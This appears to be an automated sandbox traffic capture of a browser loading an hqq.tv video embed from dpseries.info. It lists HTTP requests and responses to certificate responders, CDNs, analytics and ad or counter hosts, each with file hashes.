
--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   697
Md5:    bac86a22d09cf057b53c6a659592ac0d
Sha1:   ef2ead822e3f5f7b7a7f02a42cd3827fa6d2a8de
Sha256: 2101ba9e0de744be0095602363ed2be7a6bef00d9961a78165ccea15be4b215f
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    a951a9a9c6a766983cfec22829ff0868
Sha1:   dd2be46f3ec6ed330ae7eac0ae2cac084b213dce
Sha256: a8ab9a51f5a5793e4d9b7fd553b3009fa8ae4eb33a1857f8e83d4c46275374d6
                                        
                                            GET /styles/global/embed.css?16 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: text/css; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=989
Etag: W/"5bc9a392-3dd"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Fri, 19 Oct 2018 09:27:46 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e271e0142c1-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   371
Md5:    069e4837cf2d1a3e869d30eeb6dd4d21
Sha1:   b26bc6b2125b7ba5890195676b08cc90a50d469b
Sha256: 04d9afcfdbed4c2023b0c3b244f4fc927b0770985a70868c315340d2c25723b0
                                        
                                            GET /js/video.init.js?17 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=2192
Etag: W/"5bbdc37f-890"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Wed, 10 Oct 2018 09:16:47 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e270af0427f-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   661
Md5:    a243fc9624728c9831f0ed5b14d1e522
Sha1:   98726bd1fedb93e220a0bf768fbd0567d96b060a
Sha256: 8ddf1cc8efb027ec5fdfadd898706a7f6e12d0ae7f3b046d7b510fba025d3583
                                        
                                            GET /js/betterj/license.hqq.tv.js?5 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding, Accept-Encoding
Last-Modified: Wed, 24 May 2017 08:36:18 GMT
Etag: W/"59254602-76a"
Expires: Sun, 09 Dec 2018 15:43:16 GMT
Cache-Control: max-age=2592000, public
Pragma: cache
X-Cache-Status: HIT
Content-Encoding: gzip
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e26de6b42a9-OSL


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   944
Md5:    5656e003773c53f0bcc76b5b9afdd029
Sha1:   b4a7dd027e13c374142b14ababce7881fd9bee86
Sha256: 06eced9b4b82d857617be507356f7a87334b8e7f40de013619ad2f2426eb4d6e
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    7228905f1124f375c54307b9d321f08b
Sha1:   ea63d2d849774d5a0976360734234562193633ac
Sha256: 6fc3a94a29a7109d51adbef9e2350ae96c0acfbdd9532ee505ce88bd7ebf9bb1
                                        
                                            GET /recaptcha/api2/v1541614764654/recaptcha__en.js HTTP/1.1 
Host: www.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 91509
Date: Thu, 08 Nov 2018 00:06:38 GMT
Expires: Fri, 08 Nov 2019 00:06:38 GMT
Last-Modified: Wed, 07 Nov 2018 20:15:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 142978
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   91509
Md5:    7fb12caaf539ec8ccc322292c1822e94
Sha1:   2c8cb640813c883d8657aa69d345ce14494acf6c
Sha256: 8d7a156d326200e75d7c03982bc1e76cd9f8c146d103e3d63f01e2a51372effe
                                        
                                            GET /vkcdnservice.appspot.com/script.js?40 HTTP/1.1 
Host: storage.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         172.217.21.176
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
X-GUploader-UploadID: AEnB2Upf7xluDLKChlt4wW64Zv5sA8uZLOYy2SGLDpNmppa__pST0zuBOHo0hZjZzkSphGP_-eCl1gsLuUNeJBueV0GomlCU3Q
Date: Fri, 09 Nov 2018 15:49:36 GMT
Cache-Control: public, max-age=2678400
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Mon, 13 Aug 2018 22:52:05 GMT
Etag: "416c559d9492926380cadda27142b844"
x-goog-generation: 1534200725535742
x-goog-metageneration: 1
x-goog-stored-content-encoding: gzip
x-goog-stored-content-length: 24420
Content-Encoding: gzip
x-goog-hash: crc32c=1/gRcw==, md5=QWxVnZSSkmOAyt2icUK4RA==
x-goog-storage-class: STANDARD
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: UploadServer
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, was "script.js", from Unix, last modified: Mon Aug 13 15:06:28 2018
Size:   24420
Md5:    416c559d9492926380cadda27142b844
Sha1:   3976fae26e0b701ce8cb8ba2dc38b1082a02a221
Sha256: e1224cbb0453279b442991f0747c14a7968b892c2564a2fc1680c2560d28c911
                                        
                                            POST / HTTP/1.1 
Host: ocsp.int-x3.letsencrypt.org
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 117
Content-Type: application/ocsp-request

                                         
                                         91.135.34.131
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 527
Etag: "10CA75F3AC9040F3B85F3930F41F5EE363EED8EFF58B993E42F54C080D3F341A"
Last-Modified: Fri, 09 Nov 2018 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=16446
Expires: Fri, 09 Nov 2018 20:23:43 GMT
Date: Fri, 09 Nov 2018 15:49:37 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   527
Md5:    583b9fc88864bbace8a92ad95d2fb553
Sha1:   a5c290d0456cc89e06f2d4d92cc209ee7722ef53
Sha256: 10ca75f3ac9040f3b85f3930f41f5ee363eed8eff58b993e42f54c080d3f341a
                                        
                                            POST / HTTP/1.1 
Host: isrg.trustid.ocsp.identrust.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.113
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Content-Transfer-Encoding: Binary
Last-Modified: Thu, 08 Nov 2018 22:02:15 GMT
Etag: "1700102a10e2e1328fa48e8130e999f48e997e90"
Content-Length: 1396
Cache-Control: public, no-transform, must-revalidate, max-age=18323
Expires: Fri, 09 Nov 2018 20:55:00 GMT
Date: Fri, 09 Nov 2018 15:49:37 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   1396
Md5:    ccf490a79ed77b65e6474e309ad84595
Sha1:   1700102a10e2e1328fa48e8130e999f48e997e90
Sha256: d9ead7afef5b2180411b6688639084a3c3615107ccd897ed1519cf986ad72606
                                        
                                            GET /cdn-cgi/trace HTTP/1.1 
Host: hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575; gip=no

                                         
                                         104.23.132.67
HTTP/1.1 200 OK
Content-Type: text/plain
                                        
Date: Fri, 09 Nov 2018 15:49:37 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
CF-RAY: 47716e2c3eea428b-OSL
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   210
Md5:    2327db8c58a6af53f310ccc707a8945a
Sha1:   7fb4613364468fe466370fb7ba7b082c44cce9e2
Sha256: 5d0c10f906a0ce33da5c8dec20228c8e0d666f2541df4e4a270ba12aee927db9
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:37 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    8ed950d78c3ca8472d42d604e020c4ef
Sha1:   1547ae364fc11fd85a8510db560f9de56754f330
Sha256: 41ed054e01c76c65603cfc12c9236e6cef6f1931f938bef1c9d3e84bcb9b37df
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Sat, 03 Nov 2018 19:14:58 GMT
Etag: 559FCD97C8DAC05F1305C204346A86F94F6072FC
X-OCSP-Responder-ID: rmdccaocsp17
Content-Length: 280
Cache-Control: public, no-transform, must-revalidate, max-age=98142
Expires: Sat, 10 Nov 2018 19:05:19 GMT
Date: Fri, 09 Nov 2018 15:49:37 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   280
Md5:    dd625dc57140203df92f769b3570c003
Sha1:   559fcd97c8dac05f1305c204346a86f94f6072fc
Sha256: a53236e55ab1abb0f642e3eea65fed7140acf907692871fef1a090981e8ac15f
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 05 Nov 2018 09:27:34 GMT
Etag: C035DD990057FDA2FD75C922B89A3D3087103810
X-OCSP-Responder-ID: rmdccaocsp26
Content-Length: 314
Cache-Control: public, no-transform, must-revalidate, max-age=235735
Expires: Mon, 12 Nov 2018 09:18:32 GMT
Date: Fri, 09 Nov 2018 15:49:37 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   314
Md5:    3f1897c21a1a475de13f63cfa374744b
Sha1:   c035dd990057fda2fd75c922b89a3d3087103810
Sha256: 88969119aa71878d32bc99a5d280b75d5acc57e74ed8927db21bf782834cc756
                                        
                                            GET /analytics.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         172.217.21.142
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
strict-transport-security: max-age=10886400; includeSubDomains; preload
Timing-Allow-Origin: *
Date: Fri, 09 Nov 2018 15:23:13 GMT
Expires: Fri, 09 Nov 2018 17:23:13 GMT
Last-Modified: Mon, 05 Nov 2018 21:10:09 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 17404
Cache-Control: public, max-age=7200
Age: 1584
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17404
Md5:    33586531225d561faadda61de818c510
Sha1:   9a3b5ffbdc4071557def3d9609eee6ad3c52d1e1
Sha256: 521d2fb506ca60463e914fd138e092f935579d31436dcff3cc6a1d216d06ef82
                                        
                                            GET /10b4cff8dbfeeee035c8639f52712c5c/invoke.js HTTP/1.1 
Host: vukhhjzd.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         198.134.112.244
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx/1.15.1
Date: Fri, 09 Nov 2018 15:49:37 GMT
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Access-Control-Allow-Origin: *
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
strict-transport-security: max-age=0; includeSubdomains
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   5909
Md5:    121a585de57fc10cbc027221cfa17528
Sha1:   20bca0857aed898071488670daa5ea7cfb034c2a
Sha256: 7282aae142d06d0c7d0ea1eaa0aefa02502d4549d4d87bcc7a6dc21ba28c2249
                                        
                                            GET /hit?rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.1268087390981446 HTTP/1.1 
Host: counter.yadro.ru
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         88.212.196.77
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                        
Server: nginx/1.11.1
Date: Fri, 09 Nov 2018 15:49:37 GMT
Content-Length: 32
Connection: keep-alive
Location: https://counter.yadro.ru/hit?q;rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.1268087390981446
Expires: Wed, 08 Nov 2017 21:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref="/w3c/p3p.xml", CP="UNI"
Set-Cookie: FTID=1RvQoH0mINfl1RvQoH00L1nt; path=/; expires=Fri, 08 Nov 2019 21:00:00 GMT; domain=.yadro.ru


--- Additional Info ---
Magic:  HTML document text
Size:   32
Md5:    3e9c09a8c5a87f266e047a596f48578c
Sha1:   07d7b1940b7e3f9a3db43197458f9b8ef18a6bce
Sha256: 57fad7ae62012ff4a38ecb6045ac6e8e3a070a33bbd033b21ab6cad3566d9254
                                        
                                            GET /r/collect?v=1&_v=j72&a=1457148724&t=pageview&_s=1&dl=https%3A%2F%2Fhqq.tv%2Fplayer%2Fembed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno&dr=http%3A%2F%2Fdpseries.info%2Fpower-saison-1%2F&ul=en-us&de=UTF-8&sd=24-bit&sr=1176x885&vp=708x400&je=1&fl=10.0%20r45&_u=IEBAAEQ~&jid=1359971157&gjid=147425767&cid=936478167.1541778579&tid=UA-59207121-1&_gid=180941821.1541778579&_r=1&z=1728026123 HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         172.217.21.142
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Date: Fri, 09 Nov 2018 15:49:38 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
                                            GET /hit?rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.039667539774491556 HTTP/1.1 
Host: counter.yadro.ru
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         88.212.196.77
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                        
Server: nginx/1.11.1
Date: Fri, 09 Nov 2018 15:49:38 GMT
Content-Length: 32
Connection: keep-alive
Location: https://counter.yadro.ru/hit?q;rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.039667539774491556
Expires: Wed, 08 Nov 2017 21:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref="/w3c/p3p.xml", CP="UNI"
Set-Cookie: FTID=1RvQoI0sINvl1RvQoI00LSEy; path=/; expires=Fri, 08 Nov 2019 21:00:00 GMT; domain=.yadro.ru


--- Additional Info ---
Magic:  HTML document text
Size:   32
Md5:    3e9c09a8c5a87f266e047a596f48578c
Sha1:   07d7b1940b7e3f9a3db43197458f9b8ef18a6bce
Sha256: 57fad7ae62012ff4a38ecb6045ac6e8e3a070a33bbd033b21ab6cad3566d9254
                                        
                                            GET /hit?q;rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.1268087390981446 HTTP/1.1 
Host: counter.yadro.ru
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: FTID=1RvQoH0mINfl1RvQoH00L1nt

                                         
                                         88.212.196.77
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx/1.11.1
Date: Fri, 09 Nov 2018 15:49:38 GMT
Content-Length: 43
Connection: keep-alive
Expires: Wed, 08 Nov 2017 21:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref="/w3c/p3p.xml", CP="UNI"
Set-Cookie: VID=0XEkgZ1G9nvl1RvQoI00L2Nu; path=/; expires=Fri, 08 Nov 2019 21:00:00 GMT; domain=.yadro.ru


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    fc94fb0c3ed8a8f909dbc7630a0987ff
Sha1:   56d45f8a17f5078a20af9962c992ca4678450765
Sha256: 2dfe28cbdb83f01c940de6a88ab86200154fd772d568035ac568664e52068363
                                        
                                            GET /hit?q;rhttp%3A//dpseries.info/power-saison-1/;s1176*885*24;uhttps%3A//hqq.tv/player/embed_player.php%3Fvid%3DE2JjsWxO3PNT%26autoplay%3Dno;0.039667539774491556 HTTP/1.1 
Host: counter.yadro.ru
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: FTID=1RvQoI0sINvl1RvQoI00LSEy

                                         
                                         88.212.196.77
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx/1.11.1
Date: Fri, 09 Nov 2018 15:49:38 GMT
Content-Length: 43
Connection: keep-alive
Expires: Wed, 08 Nov 2017 21:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref="/w3c/p3p.xml", CP="UNI"
Set-Cookie: VID=0XEkgZ1G9nvl1RvQoI00LSFr; path=/; expires=Fri, 08 Nov 2019 21:00:00 GMT; domain=.yadro.ru


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    fc94fb0c3ed8a8f909dbc7630a0987ff
Sha1:   56d45f8a17f5078a20af9962c992ca4678450765
Sha256: 2dfe28cbdb83f01c940de6a88ab86200154fd772d568035ac568664e52068363
                                        
                                            GET /power-saison-1/2/ HTTP/1.1 
Host: dpseries.info
                                        
